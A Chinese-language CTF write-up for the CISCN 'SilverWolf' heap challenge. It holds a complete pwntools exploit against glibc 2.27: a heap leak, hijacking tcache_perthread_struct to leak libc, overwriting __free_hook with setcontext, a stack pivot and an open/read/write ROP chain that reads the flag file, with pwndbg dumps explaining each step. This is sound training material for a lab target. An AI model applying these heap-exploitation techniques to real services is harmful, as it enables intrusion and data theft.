CISCN SilverWolf
完整EXP:
from PwnModules import *
io, elf = get_utils('./silverwolf', False, 'node4.anna.nssctf.cn', 28359)
init_env('amd64', 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.27-1.4/libc-2.27.so')
def choice(idx):
io.recvuntil(b'choice: ')
io.sendline(str(idx))
def add(size):
choice(1)
io.sendlineafter(b'Index: ', str(0))
io.sendlineafter(b'Size: ', str(size))
def edit(content):
choice(2)
io.sendlineafter(b'Index: ', str(0))
io.sendlineafter(b'Content: ', content)
def free():
choice(4)
io.sendlineafter(b'Index: ', str(0))
def show():
choice(3)
io.sendlineafter(b'Index: ', str(0))
# Leak heap base addr
add(0x78)
free()
show()
io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
show_addr('Heap base address: ', heap_base)
# Take out Tcache Struct, Leak our libc base address !
edit(p64(heap_base + 0x10)) # Cannot allocate at base, since it wil break the struct.
add(0x78)
add(0x78)
edit(p64(0) * 4 + p64(0x0000000007000000))
free()
show()
libc_base = leak_addr(2, io) - 0x70 - libc.sym['__malloc_hook']
show_addr('Libc base addr: ', libc_base)
# edit(b'\x00' * 0x78) # Alternate choice.
edit(p64(0) * 4 + p64(0x0000000000000000))
# Gadgets
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215BF
pop_rax = libc_base + 0x43AE8
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall = libc_base + 0xE5965
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA
# Construct Heap
orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060
stack_pivot_1 = heap_base + 0x2000
stack_pivot_2 = heap_base + 0x20A0
show_addr('Address: ', heap_base, free_hook, flag_addr, orw1, orw2, stack_pivot_1, stack_pivot_2)
payload = b'\x00' * 0x40
payload += p64(free_hook) # 0x20
payload += p64(0)
payload += p64(flag_addr)
payload += p64(stack_pivot_1)
payload += p64(stack_pivot_2)
payload += p64(orw1)
payload += p64(orw2)
edit(payload)
# Open
orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall)
# Read
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw1)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(read)
# Write
orw += p64(pop_rdi) + p64(1)
orw += p64(write)
add(0x18)
# Why we only need one allocate is because we directly changed the link list.
# Means the chunk will allocate at where we want.
# In this case, We don't need to push addr into link list because we allocate just at here.
# (0x20) tcache_entry[0](0): 0x7f53257278e8 -----> __free_hook
edit(p64(setcontext))
# Hijack __free_hook to setcontext
# Why hijack __free_hook instead of any other function ?
# When executing __free_hook, The RDI reg is just the chunk addr.
# Which means when we execute the free, We execute the setcontext with our ROP chain.
add(0x38)
# Store the flag file position.
# (0x40) tcache_entry[2](0): 0x556a73c3d000 -----> flag_addr
edit('./flag')
add(0x68)
edit(orw[:0x60])
# orw1
add(0x78)
edit(orw[0x60:])
# orw2
add(0x58)
# stack_pivot_2
edit(p64(orw1) + p64(ret))
add(0x48)
# stack_pivot_1
free()
# Trigger the ROP chain.
io.interactive()
SilverWolf
泄露Libc地址
我们首先申请一个大小为0x78的堆块然后释放。
释放后我们就可以获取到堆的基址,也就是:0x561d067d4000
add(0x78)
free()
show()
io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
泄露Libc基址
我们可以劫持 tcache_perthread_struct
结构体来泄露Libc基址。原理分析:浅入研究 tcache_perthread_struct
通过在tcache_perthread_struct + 0x10
的地方申请堆块,我们就成功劫持到了这个结构体。
通过修改堆块数量部分,我们可以伪造Tcache已满。然后让程序将堆块放入Unsorted Bin中。这样就会泄露出来一个main_arena
+ 一定值的地址。
pwndbg> x/30gx 0x561d067d4000
0x561d067d4000: 0x0000000000000000 0x0000000000000251
0x561d067d4010: 0x0006070100000007 0x0000020003000000 # 0x561d067d4010: 0x0006070100000007 就是我们需要修改的地方。 例:0x0000000007000000 是修改后的数据。
0x561d067d4020: 0x0000000000000000 0x0000000000000000
0x561d067d4030: 0x0000000000000000 0x0000000000000000
0x561d067d4040: 0x0000000000000000 0x0000000000000000
0x561d067d4050: 0x0000561d067d5610 0x0000000000000000
0x561d067d4060: 0x0000000000000000 0x0000000000000000
0x561d067d4070: 0x0000561d067d58c0 0x0000561d067d5360
0x561d067d4080: 0x0000561d067d4010 0x0000000000000000
0x561d067d4090: 0x0000000000000000 0x0000000000000000
0x561d067d40a0: 0x0000000000000000 0x0000561d067d4ad0
0x561d067d40b0: 0x0000000000000000 0x0000561d067d56a0
0x561d067d40c0: 0x0000000000000000 0x0000000000000000
0x561d067d40d0: 0x0000000000000000 0x0000000000000000
0x561d067d40e0: 0x0000000000000000 0x0000000000000000
之后我们释放堆,由于我们修改目前已存在7个Tcache堆块,我们的堆块会被放入Unsorted Bin中。
记得要恢复这部分,因为我们需要使用Tcache来进行后续的攻击。
edit(p64(heap_base + 0x10)) # 不能直接使用基址,会导致整个结构体出错。
add(0x78)
add(0x78)
edit(p64(0) * 4 + p64(0x0000000007000000))
free()
show()
libc_base = leak_addr(2, io) - 0x70 - libc.sym['__malloc_hook']
show_addr('Libc base addr: ', libc_base)
# edit(b'\x00' * 0x78) # 另一个修复结构体的方法。
edit(p64(0) * 4 + p64(0x0000000000000000))
Gadgets
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215BF
pop_rax = libc_base + 0x43AE8
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53 # 通常会为了避免使用 fldenv 指令,因为这个指令会使程序崩溃。
syscall = libc_base + 0xE5965 # 必须是单个syscall, 如: 0x7f5afec19965 (geteuid+5) ?— syscall
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA
在收集完gadgets之后我们就可以准备地址方面的了。
orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060
stack_pivot_1 = heap_base + 0x2000
stack_pivot_2 = heap_base + 0x20A0
payload = b'\x00' * 0x40
payload += p64(free_hook) # 0x20
payload += p64(0)
payload += p64(flag_addr)
payload += p64(stack_pivot_1)
payload += p64(stack_pivot_2)
payload += p64(orw1)
payload += p64(orw2)
edit(payload)
现在开始解释为什么:
为什么再次劫持?因为众所周知tcache_perthread_struct
控制着tcache chunk。
我们现在需要做的不是修改数量,而是修改entries
数组指针。使其指向我们需要的地方。
pwndbg> x/40gx 0x5586484ab000
0x5586484ab000: 0x0000000000000000 0x0000000000000251
--- 0x40 Padding ---
0x5586484ab010: 0x0000000000000000 0x0000000000000000
0x5586484ab020: 0x0000000000000000 0x0000000000000000
0x5586484ab030: 0x0000000000000000 0x0000000000000000
0x5586484ab040: 0x0000000000000000 0x0000000000000000
--- 0x40 Padding ---
0x5586484ab050: 0x00007f0e49b198e8 0x0000000000000000 ---> 0x00007f0e49b198e8 __free_hook, 我们需要劫持为setcontent,这个堆块的大小是 0x20。
0x5586484ab060: 0x00005586484ac000 0x00005586484ad000 ---> flag_addr 和 stack_pivot_1. 这些堆块的大小是 0x40 和 0x50。
0x5586484ab070: 0x00005586484ad0a0 0x00005586484ae000 ---> stack_pivot_2 和 orw1. 这些堆块的大小是 0x60 和 0x70。
0x5586484ab080: 0x00005586484ae060 0x0000000000000000 ---> orw2. 这个堆块的大小是 0x80。
0x5586484ab090: 0x0000000000000000 0x0000000000000000
0x5586484ab0a0: 0x0000000000000000 0x00005586484abad0 --------> 我们不能直接修改链表,因此我们需要手动修改指针。这里还有另一点因素是因为setcontext函数。
0x5586484ab0b0: 0x0000000000000000 0x00005586484ac6a0 --------- 为了实现我们的目标,我们需要申请相同大小的堆块。
0x5586484ab0c0: 0x0000000000000000 0x0000000000000000 --------- __free_hook : 0x18
0x5586484ab0d0: 0x0000000000000000 0x0000000000000000 --------- flag_addr, stack_pivot_1 : 0x38 & 0x48
0x5586484ab0e0: 0x0000000000000000 0x0000000000000000 --------- stack_pivot_2, orw1 : 0x58, 0x68
0x5586484ab0f0: 0x0000000000000000 0x0000000000000000 --------- orw2 : 0x78
0x5586484ab100: 0x0000000000000000 0x0000000000000000
0x5586484ab110: 0x0000000000000000 0x0000000000000000
0x5586484ab120: 0x0000000000000000 0x0000000000000000
0x5586484ab130: 0x0000000000000000 0x0000000000000000
ORW Shellcode
# Open
orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall) # open('./flag')
# Read
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw1)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(read) # read(3, orw1, 0x30)
# Write
orw += p64(pop_rdi) + p64(1)
orw += p64(write) # write(1, orw1, 0x30)
It’s time for attack !
add(0x18)
# 为什么我们只需要一次分配,因为我们直接修改了指针,相当于修改了链表。
# 这意味着这个堆块将分配到我们想要的任何位置。
# 在这种情况下,我们不需要将地址推送到链表中,因为地址已经位于链表中了。
# (0x20) tcache_entry[0](0): 0x7f53257278e8 -----> __free_hook
edit(p64(setcontext))
# 劫持 __free_hook 至 setcontext
# 为什么劫持 __free_hook 而不是其他函数?
# 执行 __free_hook 时,RDI 寄存器正好是块的地址。
# 这意味着当我们执行 free 时,我们实际上执行的是带有我们 ROP 链的 setcontext。
add(0x38)
# 存储flag文件的地址,用于open函数。
# (0x40) tcache_entry[2](0): 0x556a73c3d000 -----> flag_addr
edit('./flag')
add(0x68)
edit(orw[:0x60])
# orw1
add(0x78)
edit(orw[0x60:])
# orw2
add(0x58)
edit(p64(orw1) + p64(ret))
# stack_pivot_2
add(0x48)
# stack_pivot_1
free()
# 触发ROP。
解释时间:
还记得上文我们设置的地址吗,现在他们就要发挥作用了。
首先,free
,或者说setcontext
会以RDI寄存器0x5650c8aaa000
类似值执行。
libc中的setcontext
函数:
.text:00000000000521B5 mov rsp, [rdi+0A0h]
.text:00000000000521BC mov rbx, [rdi+80h]
.text:00000000000521C3 mov rbp, [rdi+78h]
.text:00000000000521C7 mov r12, [rdi+48h]
.text:00000000000521CB mov r13, [rdi+50h]
.text:00000000000521CF mov r14, [rdi+58h]
.text:00000000000521D3 mov r15, [rdi+60h]
.text:00000000000521D7 mov rcx, [rdi+0A8h]
rdi+0A0h
就是我们的stack_pivot_1
,这会执行整个ROP链。
-
我们将 __free_hook 劫持到 setcontext + 53 以获取需要的函数片段。在这一步之后,我们的 free 将执行 setcontext。这是内核用于恢复堆栈环境的函数。参见:SROP。
为什么要劫持 setcontext,有两个原因。
一:setcontext 具有许多工具,并且仅可使用 RDI 寄存器。它可以控制所有寄存器,甚至返回地址。
二:通过将 free 劫持到 setcontext,RDI 保持其本应执行的操作。因为它们都使用同一个寄存器作为参数 -
我们将flag文件位置送入到堆中。在这之后,我们可以在需要时调用我们的open函数。
-
我们将 payload 发送到
orw1
和orw2
中。 -
将带有返回地址的
stack_pivot_2
送入到堆中。 -
EXECUTE ORDER PWN
-
坐下等待 flag ~!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!